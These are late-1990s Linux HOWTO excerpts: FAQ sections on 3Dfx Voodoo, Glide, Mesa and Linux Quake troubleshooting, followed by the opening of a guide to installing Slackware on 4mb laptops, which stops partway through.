3dfx.test
and the 3dfx.oem.products.* group for specific boards, eg. 3dfx.oem.products.quantum3d.obsidian. Please use news.3dfx.com/3dfx.glide.linux for all Lnux Glide related questions.

A mailing list dedicated to Linux Glide is in preparation for 1Q98. Send mail to majordomo@gamers.org, no subject, body of the message info linux-3dfx to get information about the posting guidelines, the hypermail archive and how to subscribe to the list or the digest.

7.8 Where to send bug reports?

Currently, you should rely on the newsgroup (see above), that is news.3dfx.com/3dfx.glide.linux. There is no official support e-mail set up yet. For questions not specific to Linux Glide, make sure to use the other newsgroups.

7.9 Who is maintaining it?

3Dfx will appoint an official maintainer soon. Currently, inofficial maintainer of the Linux Glide port is Daryll Strauss. Please post bug reports in the newsgroup (above). If you are confident that you found a bug not previously reported, please mail to Daryll at daryll@harlot.rb.ca.us

7.10 How can I contribute to Linux Glide?

You could submit precise bug reports. Providing sample programs to be included in the distribution is another possibility. A major contribution would be adding code to the Glide based Mesa Voodoo driver source. See section on Mesa Voodoo below.

7.11 Do I have to use Glide?

Yes. As of now, there is no other Voodoo Graphics (tm) driver available for Linux. At the lowest level, Glide is the only interface that talks directly to the hardware. However, you can write OpenGL code without knowing anything about Glide, and use Mesa with the Glide based Mesa Voodoo driver. It helps to be aware of the involvement of Glide for recognizing driver limitations and bugs, though.

7.12 Should I program using the Glide API?

That depends on the application you are heading for. Glide is a proprietary API that is partly similar to OpenGL or Mesa, partly contains features only available as EXTensions to some OpenGL implementations, and partly contains features not available anywhere but within Glide.

If you want to use the OpenGL API, you will need Mesa (see below). Mesa, namely the Mesa Voodoo driver, offers an API resembling the well documented and widely used OpenGL API. However, the Mesa Voodoo driver is in early alpha, and you will have to accept performance losses and lack of support for some features.

In summary, the decision is up to you - if you are heading for maximum performance while accepting potential problems with porting to non-3Dfx hardware, Glide is not a bad choice. If you care about maintenance, OpenGL might be the best bet in the long run.

7.13 What is the Glide current version?

The current version of Linux Glide is 2.4. The next version will probably be identical to the current version for DOS/Windows, which is 2.4.3, which comes in two distributions. Right now, various parts of Glide are different for Voodoo Rush (tm) (VR) and Voodoo Graphics (tm) (VG) boards. Thus you have to pick up separate distributions (under Windows) for VR and VG. The same will be true for Linux. There will possibly be another chunk of code and another distribution for Voodoo 2 (tm) (V2) boards.

There is also a Glide 3.0 in preparation that will extend the API for use of triangle fans and triangle strips, and provide better state change optimization. Support for fans and strips will in some situations significantly reduce the amount of data sent ber triangle, and the Mesa driver will benefit from this, as the OpenGL API has separate modes for this. For a detailed explanation on this see e.g. the OpenGL documentation.

7.14 Does it support multiple Texelfx already?

Multiple Texelfx/TMU's can be used for single pass trilinear mipmapping for improvement image quality without performance penalty in current Linux Glide already. You will need a board with two Texelfx (that is, one of the appropriate Quantum3D Obsidian boards). The application needs to specify the use of both Texelfx accordingly, it does not happen automatically.

Note that because most applications are implemented for consumer boards with a single Texelfx, they might not query the presence of a second Texelfx, and thus not use it. This is not a flaw of Glide but of the application.

7.15 Is Linux Glide identical to DOS/Windows Glide?

The publicly available version of Linux Glide should be identical to the respective DOS/Windows versions. Delays in releasing the Linux port of newer DOS/Windows releases are possible.

7.16 Where to I get information on Glide?

There is exhaustive information available from 3Dfx. You could download it from their home page at www.3dfx.com/software/download_glide.html. These are for free, presuming you bought a 3Dfx hardware based board. Please read the licensing regulations.

Basically, you should look for some of the following:

  • Glide Release Notes
  • Glide Programming Guide
  • Glide Reference Manual
  • Glide Porting Guide
  • TexUs Texture Utility Software
  • ATB Release Notes
  • Installing and Using the Obsidian
These are available as Microsoft Word documents, and part of the Windows Glide distribution, i.e. the self-extracting archive file. Postscript copies for separate download should be available at www.3dfx.com as well. Note that the release numbers are not always in sync with those of Glide.

7.17 Where to get some Glide demos?

You will find demo sources for Glide within the distribution (test programs), and on the 3Dfx home page. The problem with the latter is that some require ATB. To port these demos to Linux, the event handling has to be completely rewritten.

In addition, you might find useful some of the OpenGL demo sources accompanying Mesa and GLUT. While the Glide API is different from the OpenGL API, they target the same hardware rendering pipeline.

7.18 What is ATB?

Some of the 3Dfx demo programs for Glide depend not only on Glide but also on 3Dfx's proprietary Arcade Toolbox (ATB), which is available for DOS and Win32, but has not been ported for Linux. If you are a devleoper, the sources are available within the Total Immersion program, so porting ATB to Linux would be possible.


The Linux 3Dfx HOWTO: FAQ: Glide and XFree86?

 Next Previous Contents

8. FAQ: Glide and XFree86?

8.1 Does it run with XFree86?

Basically, the Voodoo Graphics (tm) hardware does not care about X. The X server will not even notice that the video signal generated by the VGA hardware does not reach the display in single screen configurations. If your application is not written X aware, Glide switching to full screen mode might cause problems (see troubleshooting section). If you do not want the overhead of writing an X11-aware application, you might want to use SVGA console mode instead.

So yes, it does run with XFree86, but no, it is not cooperating if you don't write your application accordingly. You can use the Mesa "window hack", which will be significantly slower than fullscreen, but still a lot faster than software rendering (see section below).

8.2 Does it only run full screen?

See above. The Voodoo Graphics (tm) hardware is not window environment aware, neither is Linux Glide. Again, the experimental Mesa "window hack" covered below will allow for pasting the Voodoo Graphics (tm) board framebuffer's content into an X11 window.

8.3 What is the problem with AT3D/Voodoo Rush (tm) boards?

There is an inherent problem when using Voodoo Rush (tm) boards with Linux: Basically, these boards are meant to be VGA 2D/3D accelerator boards, either as a single board solution, or with a Voodoo Rush (tm) based daughterboard used transparently. The VGA component tied to the Voodoo Rush (tm) is a Alliance Semiconductor's ProMotion-AT3D multimedia accelerator. To use this e.g. with XFree86 at all, you need a driver for the AT3D chipset.

There is a mailing list on this, and a web site with FAQ at www.frozenwave.com/linux-stingray128. Look there for most current info. There is a SuSE maintained driver at ftp.suse.com/suse_update/special/xat3d.tgz. Reportedly, the XFree86 SVGA server also works, supporting 8, 16 and 32 bpp. Official support will probably be in XFree86 4.0. XFree86 decided to prepare an intermediate XFree86 3.3.2 release as well, which might already address the issues.

The following XF86Config settings reportedly work.

# device section settings
Chipset "AT24"
Videoram 4032

# videomodes tested by Oliver Schaertel
#  25.18  28.32  for 640 x 480   (70hz)
#  61.60         for 1024 x 786  (60hz)
#  120           for 1280 x 1024 (66hz)
In summary, there is nothing prohibiting this except for the fact that the drivers in XFree86 are not yet finished.

If you want a more technical explanation: Voodoo Rush (tm) support requires X server changes to support grabbing a buffer area in the video memory on the AT3D board, as the Voodoo Rush (tm) based boards need to store their back buffer and z buffer there. This memory allocation and locking requirement is not a 3Dfx specific problem, it is also needed e.g. for support of TV capture cards, and is thus under active development for XFree86. This means changes at the device dependend X level (thus XAA), which are currently implemented as an extension to XFree86 DGA (Direct Graphics Access, an X11 extension proposal implemented in different ways by Sun and XFree86, that is not part of the final X11R6.1 standard and thus not portable). It might be part of an XFree86 GLX implementation later on. The currently distributed X servers assume they have full control of the framebuffer, and use anything that is not used by the visual region of the framebuffer as pixmap cache, e.g. for caching fonts.

8.4 What about GLX for XFree86?

There are a couple of problems.

The currently supported Voodoo Graphics (tm) hardware and the available revision of Linux Glide are full screen only, and not set up to share a framebuffer with a window environment. Thus GLX or other integration with X11 is not yet possible.

The Voodoo Rush (tm) might be capable of cooperating with XFree86 (that is, an SVGA compliant board will work with the XFree86 SVGA server), but it is not yet supported by Linux Glide, nor do S3 or other XFree86 servers support these boards yet.

In addition, GLX is tied to OpenGL or, in the Linux case, to Mesa. The XFree86 team is currently working on integrating Mesa with their X Server. GLX is in beta, XFree86 3.3 has the hooks for GLX. See Steve Parker's GLX pages at www.cs.utah.edu/~sparker/xfree86-3d/ for the most recent information. Moreover, there is a joint effort by XFree86 and SuSe, which includes a GLX, see www.suse.de/~sim/. Currently, Mesa still uses its GLX emulation with Linux.

8.5 Glide and commerical X Servers?

I have not received any mail regarding use of Glide and/or Mesa with commercial X Servers. I would be interested to get confirmation on this, especially on Mesa and Glide with a commercial X Server that has GLX support.

8.6 Glide and SVGA?

You should have no problems running Glide based applications either single or dual screen using VGA modes. It might be a good idea to set up the 640x480 resolution in the SVGA modes, too, if you are using a single screen setup.

8.7 Glide and GGI?

A GGI driver for Glide is under development by Jon M. Taylor, but has not officially been released and was put on hold till completion of GGI 0.0.9. For information about GGI see synergy.caltech.edu/~ggi/. If you are adventurous, you might find the combination of XGGI (a GGI based X Server for XFree86) and GGI for Glide an interesting prospect. There is also a GGI driver interfacing the OpenGL API; tested with unaccelerated Mesa. Essentially, this means X11R6 running on a Voodoo Graphics (tm), using either Mesa or Glide directly.


The Linux 3Dfx HOWTO: FAQ: OpenGL/Mesa?

 Next Previous Contents

9. FAQ: OpenGL/Mesa?

9.1 What is OpenGL?

OpenGL is an immediate mode graphics programming API originally developed by SGI based on their previous proprietary Iris GL, and became in industry standard several years ago. It is defined and maintained by the Architectural Revision Board (ARB), an organization that includes members as SGI, IBM, and DEC, and Microsoft.

OpenGL provides a complete feature set for 2D and 3D graphics operations in a pipelined hardware accelerated architecture for triangle and polygon rendering. In a broader sense, OpenGL is a powerful and generic toolset for hardware assisted computer graphics.

9.2 Where to get additional information on OpenGL?

The official site for OpenGL maintained by the members of the ARB, is www.opengl.org,

A most recommended site is Mark Kilgard's Gateway to OpenGL Info at reality.sgi.com/mjk_asd/opengl-links.html: it provides pointers to book, online manual pages, GLUT, GLE, Mesa, ports to several OS, tons of demos and tools.

If you are interested in game programming using OpenGL, there is the OpenGL-GameDev-L@fatcity.com at Listserv@fatcity.com. Be warned, this is a high traffic list with very technical content, and you will probably prefer to use procmail to handle the 100 messages per day coming in. You cut down bandwidth using the SET OpenGL-GameDev-L DIGEST command. It is also not appropriate if you are looking for introductions. The archive is handled by the ListServ software, use the INDEX OpenGL-GameDev-L and GET OpenGL-GameDev-L "filename" commands to get a preview before subscribing.

9.3 Is Glide an OpenGL implementation?

No, Glide is a proprietary 3Dfx API which several features specific to the Voodoo Graphics (tm) and Voodoo Rush (tm). A 3Dfx OpenGL is in preparation (see below). Several Glide features would require EXTensions to OpenGL, some of which already found in other implementations (e.g. paletted textures).

The closest thing to a hardware accelerated Linux OpenGL you could currently get is Brian Paul's Mesa along with David Bucciarelli's Mesa Voodoo driver (see below).

9.4 Is there an OpenGL driver from 3Dfx?

Both the 3Dfx website and the Quantum3D website announced OpenGL for Voodoo Graphics (tm) to be available 4Q97. The driver is currently in Beta, and accessible only to registered deverloper's under written Beta test agreement.

A linux port has not been announced yet.

9.5 Is there a commercial OpenGL for Linux and 3Dfx?

I am not aware of any third party commercial OpenGL that supports the Voodoo Graphics (tm). Last time I paid attention, neither MetroX nor XInside OpenGL did.

9.6 What is Mesa?

Mesa is a free implementation of the OpenGL API, designed and written by Brian Paul, with contributions from many others. Its performance is competitive, and while it is not officially certified, it is an almost fully compliant OpenGL implementation conforming to the ARB specifications - more complete than some commercial products out, actually.

9.7 Does Mesa work with 3Dfx?

The latest Mesa MesaVer; release works with Linux Glide 2.4. In fact, support was included in earlier versions, however, this driver is still under development, so be prepared for bugs and less than optimal performance. It is steadily improving, though, and bugs are usually fixed very fast.

You will need to get the Mesa library archive from the iris.ssec.wisc.edu FTP site. It is recommended to subscribe to the mailing list as well, especially when trying to track down bugs, hardware, or driver limitations. Make sure to get the most recent distribution. A Mesa-3.0 is in preparation.

9.8 How portable is Mesa with Glide?

It is available for Linux and Win32, and any application based on Mesa will only have the usual system specific code, which should usually mean XWindows vs. Windows, or GLX vs. WGL. If you use e.g. GLUT or Qt, you should get away with any system specifics at all for virtually most applications. There are only a few issues (like sampling relative mouse movement) that are not adressed by the available portable GUI toolkits.

Mesa/Glide is also available for DOS. The port which is 32bit DOS is maintained by Charlie Wallace and kept up to date with the main Mesa base. See www.geocities.com/~charlie_x/.for the most current releases.

9.9 Where to get info on Mesa?

The Mesa home page is at www.ssec.wisc.edu/~brianp/Mesa.html. There is an archive of the Mesa mailing list. at www.iqm.unicamp.br/mesa/. This list is not specific to 3Dfx and Glide, but if you are interested in using 3Dfx hardware to accelerate Mesa, it is a good place to start.

9.10 Where to get information on Mesa Voodoo?

For latest information on the Mesa Voodoo driver maintained by David Bucciarelli tech.hmw@plus.it see the home page at www-hmw.caribel.pisa.it/fxmesa/.

9.11 Does Mesa support multitexturing?

Not yet (as of Mesa 2.6), but it is on the list. In Mesa you will probably have to use the OpenGL EXT_multitexture extension once it is available. There is no final specification for multitextures in OpenGL, which is supposed to be part of the upcoming OpenGL 1.2 revision. There might be a Glide driver specific implementation of the extension in upcoming Mesa releases, but as long as only certain Quantum3D Obsidian boards come with multiple TMU's, it is not a top priority. This will surely change once Voodoo 2 (tm) based boards are in widespread use.

9.12 Does Mesa support single pass trilinear mipmapping?

Multiple TMU's should be used for single pass trilinear mipmapping for improvement image quality without performance penalty in current Linux Glide already. Mesa support is not yet done (as of Mesa 2.6), but is in preparation.

9.13 What is the Mesa "Window Hack"?

The most recent revisions of Mesa contain an experimental feature for Linux XFree86. Basically, the GLX emulation used by Mesa copies the contents of the Voodoo Graphics (tm) board's most recently finished framebuffer content into video memory on each glXSwapBuffers call. This feature is also available with Mesa for Windows.

This obviously puts some drain on the PCI, doubled by the fact that this uses X11 MIT SHM, not XFree86 DGA to access the video memory. The same approach could theoretically be used with e.g. SVGA. The major benefit is that you could use a Voodoo Graphics (tm) board for accelerated rendering into a window, and that you don't have to use the VGA passthrough mode (video output of the VGA board deteoriates in passing through, which is very visible with high end monitors like e.g. EIZO F784-T).

Note that this experimental feature is NOT Voodoo Rush (tm) support by any means. It applies only to the Voodoo Graphics (tm) based boards. Moreover, you need to use a modified GLUT, as interfacing the window management system and handling the events appropriately has to be done by the application, it is not handled in the driver.

Make really sure that you have enabled the following environment variables:

export SST_VGA_PASS=1          # to stop video signal switching
export SST_NOSHUTDOWN=1        # to stop video signal switching
export MESA_GLX_FX="window"    # to initiate Mesa window mode
If you manage to forget one of the SST variables, your VGA board will be shut off, and you will loose the display (but not the actual X). It is pretty hard to get that back being effectively blind.

Finally, note that the libMesaGL.a (or .so) library can contain multiple client interfaces. I.e. the GLX, OSMesa, and fxMesa (and even SVGAMesa) interfaces call all be compiled into the same libMesaGL.a. The client program can use any of them freely, even simultaneously if it's careful.

9.14 How about GLUT?

Mark Kilgard's GLUT distribution is a very good place to get sample applications plus a lot of useful utilities. You will find it at reality.sgi.com/mjk_asd/glut3/, and you should get it anyway. The current release is GLUT 3.6, and discussion on a GLUT 3.7 (aka GameGLUT) has begun. Note that Mark Kilgard has left SGI recently, so the archive might move some time this year - for the time being it will be kept at SGI.

There is also a GLUT mailing list, glut@perp.com. Send mail to majordomo@perp.com, with the (on of the) following in the body of your email message:

   help
   info glut
   subscribe glut
   end

As GLUT handles double buffers, windows, events, and other operations closely tied to hardware and operating system, using GLUT with Voodoo Graphics (tm) requires support, which is currently in development within GLX for Mesa. It already works for most cases.


The Linux 3Dfx HOWTO: FAQ: But Quake?

 Next Previous Contents

10. FAQ: But Quake?

10.1 What about that 3Dfx GL driver for Quake?

The 3Dfx Quake GL, aka mini-driver, aka miniport, aka Game GL, aka 3Dfx GL alpha, implemented only a Quake-specific subset of OpenGL (see http://www.cs.unc.edu/~martin/3dfx.html for an inofficial list of supported code paths). It is not supported, and not updated anymore. It was a Win32 DLL (opengl32.dll) released by 3Dfx and was available for Windows only. This DLL is not, and will not be ported to Linux.

10.2 Is there a 3Dfx based glQuake for Linux?

Yes. A Quake linuxquake v0.97 binary has been released based on Mesa with Glide. The Quake2 q2test binary for Linux and Voodoo Graphics (tm) has been made available as well. A full Quake2 for Linux was released in January 1998, with linuxquake2-3.10. Dave "Zoid" Kirsch is the official maintainer of all Linux ports of Quake, Quakeworld, and Quake2, including all the recent Mesa based ports. Note that all Linux ports, including the Mesa based ones, are not officially supported by id Software.

See ftp.idsoftware.com/idstuff/quake/unix/ for the latest releases.

10.3 Does glQuake run in an XFree86 window?

A revision of Mesa and the Mesa-based Linux glQuake is in preparation. Mesa already does support this by GLX, but Linux glQuake does not use GLX.

10.4 Known Linux Quake problems?

Here is an excerpt, as of January 7th, 1998. I omitted most stuff not specific to &3Dfx; hardware.

  • You really should run Quake2 as root when using the SVGALib and/or GL renders. You don't have to run as root for the X11 refresh, but the modes on the mouse and sound devices must be read/writable by whatever user you run it as. Dedicated server requires no special permissions.
  • X11 has some garbage on the screen when 'loading'. This is normal in 16bit color mode. X11 doesn't work in 24bit (TrueColor). It would be very slow in any case.
  • Some people are experiencing crashes with the GL renderer. Make sure you install the libMesa that comes with Quake2! Older versions of libMesa don't work properly.
  • If you are experience video 'lag' in the GL renderer (the frame rate feels like it's lagging behind your mouse movement) type "gl_finish 1" in the console. This forces update on a per frame basis.
  • When running the GL renderer, make sure you have killed selection and/or gpm or the mouse won't work as they won't "release" it while Quake2 is running in GL mode.

10.5 Know Linux Quake security problems?

As Dave Kirsch posted on January 28th, 1998: an exploit for Quake2 under Linux has been published. Quake2 is using shared libraries. While the READMRE so far does not specifically mention it, note that Quake2 should not be setuid.

If you want to use the ref_soft and ref_gl renderers, you should run Quake2 as root. Do not make the binary setuid. You can only run both those renderers at the console only, so being root is not that much of an issue.

The X11 render does not need any root permissions (if /dev/dsp is writable by others for sound). The dedicated server mode does not need to be root either, obviously.

Problems such as root requirements for games has been sort of a sore spot in Linux for a number of years now. This is one of the goals that e.g. GGI is targetting to fix. A ref_ggi might be supported in the near future.

10.6 Does LinuxQuake use multitexturing?

To my understadnding, glQuake will use a multitexture EXTension if the OpenGL driver in question offers it. The current Mesa implementation and the Glide driver for Linux do not yet support this extension, so for the time being the answer is no. See section on Mesa and multitexturing for details.

10.7 Where can I get current information on Linux glQuake?

Try some of these sites: the "The Linux Quake Resource" at linuxquake.telefragged.com, or the "Linux Quake Page" at www.planetquake.com/threewave/linux/. Alternatively, you could look for Linux Quake sites in the "SlipgateCentral" database at www.slipgatecentral.com.


The Linux 3Dfx HOWTO: FAQ: Troubleshooting?

 Next Previous Contents

11. FAQ: Troubleshooting?

11.1 Has this hardware been tested?

See hardware requirements list above. I currently do not maintain a conclusive list of vendors and boards, as no particular board specific problems have been verified. Currently, only 3Dfx and Quantum3D provide boards for testing to the developers, so Quantum3D consumer boards are a safe bet. Every other Voodoo Graphics (tm) based board should work, too. I have reports regarding the Orchid Righteous 3D, Guillemot Maxi 3D Gamer, and Diamond Monster 3D.

If you are a board manufacturer who wants to make sure his Voodoo Graphics (tm), Voodoo Rush (tm) or Voodoo 2 (tm) boards work with upcoming releases of Linux, Xfree86, Linux Glide and/or Mesa, please contact me, and I will happily forward your request to the persons maintaining the drivers in question. If you are interested in support for Linux Glide on other then the PC platfrom, e.g. DEC Alpha, please contact the maintainer of Linux Glide Daryll Strauss, at daryll@harlot.rb.ca.us

11.2 Failed to change I/O privilege?

You need to be root, or setuid your application to run a Glide based application. For DMA, the driver accesses /dev/mem, which is not writeable for anybody but root, with good reasons. See the README in the Glide distribution for Linux.

11.3 Does it work without root privilege?

There are compelling case where the setuid requirement is a problem, obviously. There are currently solutions in preparation, which require changes to the library internals itself.

11.4 Displayed images looks awful (single screen)?

If you are using the analog pass through configuration, the common SVGA or X11 display might look pretty bad. You could try to get a better connector cable than the one provided with the accelerator board (the ones delivered with the Diamond Monster 3D are reportedly worse then the one accompanying the Orchid Righteous 3D), but up to a degree there will inevitably be signal loss with an additional transmission added.

If the 640x480 full screen image created by the accelerator board does look awful, this might indicate a real hardware problem. You will have to contact the board manufacturer, not 3Dfx for details, as the quality of the video signal has nothing to do with the accelerator - the board manufacturer chooses the RAMDAC, output drivers, and other components responsible.

11.5 The last frame is still there (single or dual screen)?

You terminated your application with Ctrl-C, or it did not exit normally. The accelerator board will dutifully provide the current content of the framebuffer as a video signal unless told otherwise.

11.6 Powersave kicks in (dual screen)?

When you application terminates in dual screen setups, the accelerator board does not provide video output any longer. Thus powersave kicks each time. To avoid this, use

setenv SST_DUALSCREEN 1

11.7 My machine seem to lock (X11, single screen)?

If you are running X when calling a Glide application, you probably moved the mouse out of the window, and the keyboard inputs do not reach the application anymore.

If you application is supposed to run concurrently with X11, it is recommend to expose a full screen window, or use the XGrabPointer and XGrabServer functions to redirect all inputs to the application while the X server cannot access the display. Note that grabbing all input with XGrabPointer and XGrabServer does not qualify as well-behaved application, and that your program might block the entire system.

If you experience this problem without running X, be sure that there is no hardware conflict (see below).

11.8 My machine locks (single or dual screen)?

If the system definitely does not respond to any inputs (you are running two displays and know about the loss of focus), you might experience a more or less subtle hardware conflict. See installation troubleshooting section for details.

If there is no obvious address conflict, there might still be other problems (below). If you are writing your own code the most common reason for locking is that you didn't snap your vertices. See the section on snapping in the Glide documentation.

11.9 My machine locks (used with S3 VGA board)?

It is possible you have a problem with memory region overlap specific to S3. There is some info and a patch to the so-called S3 problem in the 3Dfx web site, but these apply to Windows only. To my understanding, the cause of the problem is that some S3 boards (older revisions of Diamond Stealth S3 968) reserve more memory space than actually used, thus the Voodoo Graphics (tm) has to be mapped to a different location. However, this has not been reported as a problem with Linux, and might be Windows-specific.

11.10 No address conflict, but locks anyway?

If you happen to use a motherboard with non-standard or incomplete PCI support, you could try to shuffle the boards a bit. I am running an ASUS TP4XE that has that non-standard modified "Media Slot", i.e. PCI slot4 with additional connector for ASUS-manufactured SCSI/Sound combo boards, and I experienced severe problems while running a Diamond Monster 3D in that slot. The system operates flawlessly since I put the board in one of the regular slots.

11.11 Mesa runs, but does not access the board?

Be sure that you recompiled all the libraries (including the toolkits the demo programs use - remember that GLUT does not yet support Voodoo Graphics (tm)), and that you removed the older libraries, run ldconfig, and/or set your LD_LIBRARY_PATH properly. Mesa supports several drivers in parallel (you could use X11 SHM, off screen rendering, and Mesa Voodoo at the same time), and you might have to create and switch contexts explicitely (see MakeCurrent function) if the Voodoo Graphics (tm) isn't chosen by default.

11.12 Resetting dual board SLI?

If a Quantum 3D Obsidian board using in an SLI setup exits abruptly (i.e., the application crashes, or is aborted by user), the boards are left in an undefined state. With the dual-board set, you can run a program called resetsli to reset them. Until you run the resetsli program, you will not be able to re-initialize the Obsidian board.

11.13 Resetting single board SLI?

The resetsli program mentioned above does not yet work with a single board Obsidian SLI (e.g. the Obsidian 100-4440SB). You will have to reboot your system by reset in order to reset the board.


4mb Laptop HOWTO

Bruce Richardson <brichardson@lineone.net>

25 March 2000

How to put a "grown-up" Linux on a small-spec (4mb RAM, <=200mb hard disk) laptop.

1. Introduction

  • 1.1 Why this document was written.
  • 1.2 What use is a small laptop?
  • 1.3 Why not just upgrade the laptop?
  • 1.4 What about 4mb desktop machines?
  • 1.5 What this document doesn't do.
  • 1.6 Where to find this document.
  • 1.7 Copyright

2. The Laptops

  • 2.1 Basic Specifications
  • 2.2 The Problem
  • 2.3 The Solution

3. Choices Made

  • 3.1 What to use to create the initial root partition?
  • 3.2 The Distribution
  • 3.3 Which installation method to use?
  • 3.4 Partition Layout
  • 3.5 Which components to install?

4. The Pre-installation Procedure

  • 4.1 muLinux Preparation
  • 4.2 Prepare the installation root files.
  • 4.3 Create the partitions.

5. The Installation

  • 5.1 Boot the machine
  • 5.2 Floppy/Parport CD-ROM Install
  • 5.3 Network/PCMCIA Install
  • 5.4 Set-up
  • 5.5 Pre-reboot Configuration
  • 5.6 Post-reboot Configuration.

6. Conclusion

7. Appendix A:

  • 7.1 A - Base Linux System
  • 7.2 AP - Non-X Applications
  • 7.3 D - Development Tools
  • 7.4 E - Emacs
  • 7.5 F - FAQs and HOWTOs
  • 7.6 K - Kernel Source
  • 7.7 N - Networking Tools and Apps
  • 7.8 Tetex
  • 7.9 Y - BSD Games Collection
  • 7.10 End result

8. Appendix B: Resources relevant to this HOWTO


4mb Laptop HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Why this document was written.

I got my hands on two elderly laptops, both with just 4mb RAM and small (<=200mb) hard drives. I wanted to install Linux on them. The documentation for this kind of laptop all recommends installing either a mini-Linux or an old (and therefor compact) version of one of the professional distributions. I wanted to install an up-to-date professional distribution.

1.2 What use is a small laptop?

Plenty. It isn't going to run X or be a development box (see Which components to install?) but if you are happy at the console you have a machine that can do e-mail, networking, writing etc. Laptops also make excellent diagnostic/repair tools and the utilities for that will easily fit onto small laptops.

1.3 Why not just upgrade the laptop?

Upgrading old laptops is not much cheaper than upgrading new ones. That's a lot to spend on an old machine, especially considering that the manufacturer isn't supporting it any more and spare parts are hard to find.

1.4 What about 4mb desktop machines?

The procedure described in this document will work perfectly well on a desktop PC. On the other hand, upgrading a desktop machine is far easier and cheaper than upgrading a laptop. Even if you don't upgrade it, there are still simpler options. You could take out the hard disk, put it in a more powerful machine, install Linux, trim it to fit and then put the disk back in the old machine.

1.5 What this document doesn't do.

This document is not a general HOWTO about installing Linux on laptops or even a specific HOWTO for either of the two machines mentioned here. It simply describes a way of squeezing a large Linux into a very small space, citing two specific machines as examples.

1.6 Where to find this document.

The latest copy of this document can be found in several formats at http://website.lineone.net/~brichardson/linux/4mb_laptops/.

1.7 Copyright

This document is copyright (c) Bruce Richardson 2000. It may be distributed under the terms set forth in the LDP license at sunsite.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP license. This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the LDP license for more details.

Toshiba and T1910 are trademarks of Toshiba Corporation. Compaq and Contura Aero are trademarks of Compaq Computer Corporation.


4mb Laptop HOWTO: The Laptops

 Next Previous Contents

2. The Laptops

This section describes the laptops that I have used this procedure on, the problems faced when installing Linux on them and the solutions to those problems (in outline).

2.1 Basic Specifications

Compaq Contura Aero

  • 25MHz 486SX CPU
  • 4mb RAM
  • 170mb Hard Disk
  • 1 PCMCIA Type II slot
  • External PCMCIA 3.5" Floppy drive
    The PCMCIA floppy drive has a proprietary interface which is partly handled by the Aero's unique BIOS. The Linux PCMCIA drivers can't work with it. According to the PCMCIA-HOWTO, if the drive is connected when the laptop boots it will work as a standard drive and Card Services will ignore the socket but it is not hot-swappable. However, I found that the drive becomes inaccessible as soon as Card Services start unless there is a mounted disk in the drive. This has implications for the installation process - these are covered at the relevant points.

Toshiba T1910

  • 33MHz 486SX CPU
  • 4mb RAM
  • 200 mb Hard Disk
  • Internal 3.5" Floppy drive
  • 1 PCMCIA Type II/III slot

2.2 The Problem

The small hard disks and the lack of an internal floppy on the Aero make the installation more tricky than normal but the real problem is the RAM. None of the current distributions has an installation disk that will boot in 4mb, not even if the whole hard disk is a swap partition.

The standard installation uses a boot disk to uncompress a root-partition image (either from a second floppy or from CD-ROM) into a ram-disk. The root-image is around 4mb in size. That's all the RAM available in this scenario. Try it and it freezes while unpacking the root-image.

2.3 The Solution

The answer is to eliminate the ram-disk. If you can mount root on a physical partition you will have enough memory to do the install. Since the uncompressed ram-disk is too big to fit on a floppy, the only place left is on the hard disk of the laptop. The steps are:

  1. Find something that will boot in 4mb ram and which can also create ext2 partitions.
  2. Use it to create a swap partition and a small ext2 partition on the laptop's hard disk.
  3. Uncompress the installation root-image and copy it onto the ext2 partition.
  4. Boot the laptop from the installation boot-disk, pointing it at the ext2 partition on the hard disk.
  5. The installation should go more or less as normal from here.

The only question was whether a distribution that wouldn't install (under normal circumstances) on the laptops would run on them. The short answer is "Yes".

If you're an old Linux hand then that's all you need to know. If not, read on - some of the steps listed above aren't as simple as they look.


4mb Laptop HOWTO: Choices Made

 Next Previous Contents

3. Choices Made

This section describes the choices available, which options are practical, which ones I decided on and why.

3.1 What to use to create the initial root partition?

The best tool for this is a mini-Linux. There's a wide selection of small Linuces available on the net, but most of them won't boot in 4mb RAM. I found two that will:

SmallLinux http://smalllinux.netpedia.net/

SmallLinux will boot in as little as 2mb RAM but its root disk can't be taken out of the drive, which is a shame since otherwise it has everything we need (i.e. fdisk, mkswap and mkfs.ext2). SmallLinux can create the needed partitions but can't be used to copy the root partition.

muLinux http://sunsite.auc.dk/mulinux/

muLinux will boot in 4mb but only in a limited single-user mode. In this mode fdisk and mkswap are available but mkfs.ext2 and the libraries needed to run it are on the /usr partition which is not available in maintenance mode. To use muLinux to do the whole pre-installation procedure the files needed to create ext2 file-systems must be extracted from the usr disk image and copied onto a floppy.

This gives the option of either using SmallLinux to create the partitions and muLinux to copy the root partition or using muLinux to do the whole job. Since I had two laptops I tried both.

3.2 The Distribution

It didn't take much time to choose Slackware. Apart from the fact that I like it but haven't used it much and want to learn more, I considered the following points:

  • Slackware has possibly the most low-tech DIY install of all the major distributions. It is also one of the most flexible, coming with a wide range of boot-disk kernels to suit many different machines. This makes it well suited to the kind of hacking about required in this scenario.
  • Slackware supports all the methods listed in Which Installation method to use?.
  • Slackware is a distribution designed by one person. I'm sure Patrick Volkerding won't object if I say this means its configuration tools are simpler and more streamlined. In my opinion this makes the job of trimming the installation to fit cramped conditions easier.

Version 7.0 was the latest version when I tried this so that's what I used.

But I don't like Slackware!

You don't have to use it. I can't answer for all the distributions but I know that Debian, Red Hat and SuSE offer a range of installation methods and have an "expert" installation procedure

Does Debian do any other kind?
which can be used here. Most of the steps in this document would apply to any of the distributions without change.

If you haven't used the expert method with your preferred distribution before, do a trial run on a simple desktop machine to get the feel of it and to explore the options it offers.

3.3 Which installation method to use?

Floppy Install

This means churning out 15 floppies - which only gives you an absolute minimal install and requires a second stage to get the apps you want on. It's also very slow on such low-spec machines. This is a last resort if you can't make the others work.

Parallel-port Install

Where the parallel port has an IDE device, parallel cable or pocket ethernet adaptor

A pocket lan adaptor installation onto these machines will be very slow.
attached. This would be a good choice for the Aero, leaving the PCMCIA slot free to run the floppy drive.
PCMCIA Install

As above, this could be a CD-ROM or network install. This would be the best method for the T1910 - on the Aero it's a bit more awkward.

ISA/PCI Ethernet Install

Not an option for the laptops, obviously, but included in case your target machine is a desktop PC.

The tools I had to hand dictated a PCMCIA network install. I will point out where steps differ for the other methods. Whichever method you choose, you need to have a higher-spec machine available - even if only to create the disks for a floppy install.

3.4 Partition Layout

Basic Requirement

